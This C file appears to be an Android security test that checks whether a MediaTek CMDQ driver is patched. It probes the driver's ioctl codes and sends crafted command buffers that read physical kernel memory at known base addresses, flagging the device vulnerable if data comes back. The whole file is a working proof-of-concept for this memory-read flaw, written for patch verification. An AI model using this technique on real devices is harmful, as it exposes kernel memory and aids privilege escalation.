1 /**
2 * Copyright (C) 2020 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <ctype.h>
18 #include <errno.h>
19 #include <fcntl.h>
20 #include <stdbool.h>
21 #include <stdio.h>
22 #include <stdlib.h>
23 #include <string.h>
24 #include <sys/ioctl.h>
25 #include <sys/stat.h>
26 #include <sys/types.h>
27 #include <unistd.h>
28
29 #include "../includes/common.h"
30
31 static char *device_names[] = {"/dev/mtk_cmdq", "/proc/mtk_cmdq",
32 "/dev/mtk_mdp"};
33
34 #define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 0x40087807
35 #define CMDQ_IOCTL_FREE_WRITE_ADDRESS 0x40087808
36 // This is "most" of the IOCTL code, though the size field is left out as it
37 // will be ORed in later when the specific value for this device has been
38 // identified.
39 #define CMDQ_IOCTL_EXEC_COMMAND 0x40007803
40
41 struct cmdqWriteAddressStruct {
42 uint32_t count;
43 uint32_t address;
44 };
45
46 struct cmdqReadRegStruct {
47 uint32_t count;
48 uint64_t addresses;
49 };
50
51 struct cmdqRegValueStruct {
52 uint32_t count;
53 uint64_t values;
54 };
55
56 struct cmdqReadAddressStruct {
57 uint32_t count;
58 uint64_t addresses;
59 uint64_t values;
60 };
61
62 struct cmdqCommandStruct {
63 uint32_t value1;
64 uint32_t value2;
65 uint64_t value3;
66 uint64_t buffer;
67 uint32_t buffer_size;
68 struct cmdqReadRegStruct reg_request;
69 struct cmdqRegValueStruct reg_value;
70 struct cmdqReadAddressStruct read_address;
71 uint8_t padding[0x2f0 - 0x58];
72 };
73
74 typedef enum {
75 OperationSuccess,
76 OperationFailed,
77 OperationError,
78 } OperationResult;
79
80 #define SET_VALUE(x) \
81 instructions[command.buffer_size / 8] = (x); \
82 command.buffer_size += 8;
83
84 // This function identifies what the IOCTL command code should be
85 // for EXEC_COMMAND, given that it varies depending on the structure size.
work_out_ioctl_code(int fd,int * ioctl_code)86 OperationResult work_out_ioctl_code(int fd, int *ioctl_code) {
87 uint64_t instructions[0x100];
88 struct cmdqCommandStruct command;
89
90 memset(instructions, 0, sizeof(instructions));
91 memset(&command, 0, sizeof(command));
92
93 command.buffer = (uint64_t)&instructions;
94
95 // CMDQ_CODE_WFE
96 SET_VALUE(0x2000000080010000);
97 // CMDQ_CODE_EOC
98 SET_VALUE(0x4000000000000001);
99 // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
100 SET_VALUE(0x1000000000000008);
101
102 for (int ii = 0xa8; ii <= 0x2f0; ii += 8) {
103 int ioctl_result =
104 ioctl(fd, CMDQ_IOCTL_EXEC_COMMAND | (ii << 16), &command);
105
106 if ((-1 != ioctl_result) || (errno != ENOTTY)) {
107 *ioctl_code = CMDQ_IOCTL_EXEC_COMMAND | (ii << 16);
108 return OperationSuccess;
109 }
110 }
111
112 // Unable to identify the particular IOCTL code for this device.
113 return OperationError;
114 }
115
perform_pa_read(int fd,int ioctl_code,uint32_t kernel_buffer,uint64_t address,unsigned char * buffer,size_t size)116 OperationResult perform_pa_read(int fd, int ioctl_code, uint32_t kernel_buffer,
117 uint64_t address, unsigned char *buffer,
118 size_t size) {
119 OperationResult result = OperationError;
120 uint64_t *instructions = NULL;
121 uint32_t *addresses = NULL;
122 struct cmdqCommandStruct command;
123 size_t num_words = size / 4;
124
125 if (size % 4) {
126 goto exit;
127 }
128
129 // Each command is 8 bytes, we require 5 commands for every 32 bits we try to
130 // read, plus another 4 for prologue/epilogue.
131 instructions = malloc((num_words * 5 + 4) * sizeof(uint64_t));
132 if (!instructions) {
133 goto exit;
134 }
135 // Another buffer to tell the driver where to read back from.
136 addresses = malloc(sizeof(uint32_t) * num_words);
137 if (!addresses) {
138 goto exit;
139 }
140 memset(&command, 0, sizeof(command));
141 command.buffer = (uint64_t)instructions;
142 command.read_address.count = size;
143 command.read_address.addresses = (uint64_t)addresses;
144 command.read_address.values = (uint64_t)buffer;
145
146 // CMDQ_CODE_WFE
147 SET_VALUE(0x2000000080010000);
148
149 for (size_t ii = 0; ii < num_words; ii++) {
150 addresses[ii] = kernel_buffer + (sizeof(uint32_t) * ii);
151
152 // CMDQ_CODE_MOVE - put DMA address into register
153 SET_VALUE(0x0297000000000000 | addresses[ii]);
154 // CMDQ_CODE_WRITE - write PA into DMA address
155 SET_VALUE(0x0497000000000000 | (address + sizeof(uint32_t) * ii));
156 // CMDQ_CODE_READ - read PA into register from DMA address
157 SET_VALUE(0x01d7000000000005);
158 // CMDQ_CODE_READ - read from PA into register
159 SET_VALUE(0x01c5000000000005);
160 // CMDQ_CODE_WRITE - write value into DMA address
161 SET_VALUE(0x04d7000000000005);
162 }
163
164 // CMDQ_CODE_WFE
165 SET_VALUE(0x2000000080010000);
166 // CMDQ_CODE_EOC
167 SET_VALUE(0x4000000000000001);
168 // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
169 SET_VALUE(0x1000000000000008);
170
171 switch (ioctl(fd, ioctl_code, &command)) {
172 case -1:
173 if (errno == EFAULT) {
174 // Command buffer rejected, the driver is patched.
175 result = OperationFailed;
176 }
177 // Something is wrong with the command buffer. This may be a device
178 // type that has not been encountered during testing.
179 break;
180 case 0:
181 // Driver accepted the command buffer and did something with it.
182 result = OperationSuccess;
183 break;
184 }
185
186 exit:
187 if (addresses) {
188 free(addresses);
189 }
190 if (instructions) {
191 free(instructions);
192 }
193 return result;
194 }
195
main()196 int main() {
197 int exit_code = EXIT_FAILURE;
198 int fd = -1;
199 unsigned char buffer[0x1000];
200 size_t read_size = 0x100;
201 struct cmdqWriteAddressStruct kernel_buffer = {read_size, 0};
202 int ioctl_code = 0;
203 bool command_accepted = false;
204 // Mediatek have given these as possible kernel base addresses for different
205 // devices.
206 unsigned long kernel_bases[] = {0x40008000, 0x40080000, 0x80008000};
207 unsigned long pa_length = 0x10000;
208
209 for (size_t ii = 0; ii < sizeof(device_names) / sizeof(device_names[0]);
210 ii++) {
211 fd = open(device_names[ii], O_RDONLY);
212 if (-1 == fd) {
213 // If we can't access the driver, then it's not vulnerable.
214 if (errno == EACCES) {
215 exit_code = EXIT_SUCCESS;
216 goto exit;
217 }
218 } else {
219 break;
220 }
221 }
222 if (-1 == fd) {
223 goto exit;
224 }
225
226 if (-1 == ioctl(fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &kernel_buffer)) {
227 goto exit;
228 }
229
230 if (OperationSuccess != work_out_ioctl_code(fd, &ioctl_code)) {
231 goto exit;
232 }
233
234 for (size_t ii = 0; ii < sizeof(kernel_bases) / sizeof(kernel_bases[0]);
235 ii++) {
236 for (unsigned long pa = kernel_bases[ii]; pa < kernel_bases[ii] + pa_length;
237 pa += 0x1000) {
238 memset(buffer, 0, read_size);
239
240 switch (perform_pa_read(fd, ioctl_code, kernel_buffer.address, pa, buffer,
241 read_size)) {
242 case OperationSuccess:
243 command_accepted = true;
244 for (size_t ii = 0; ii < read_size; ii++) {
245 if (buffer[ii] != 0) {
246 exit_code = EXIT_VULNERABLE;
247 goto exit;
248 }
249 }
250 break;
251 case OperationFailed:
252 exit_code = EXIT_SUCCESS;
253 break;
254 case OperationError:
255 break;
256 }
257 }
258 }
259
260 // If the driver accepted commands, but we didn't manage to read any data,
261 // then we failed to demonstrate a vulnerability.
262 if (command_accepted) {
263 exit_code = EXIT_SUCCESS;
264 }
265
266 exit:
267 if (-1 != fd) {
268 if (kernel_buffer.address != 0) {
269 (void)ioctl(fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &kernel_buffer);
270 }
271 (void)close(fd);
272 }
273
274 return exit_code;
275 }
276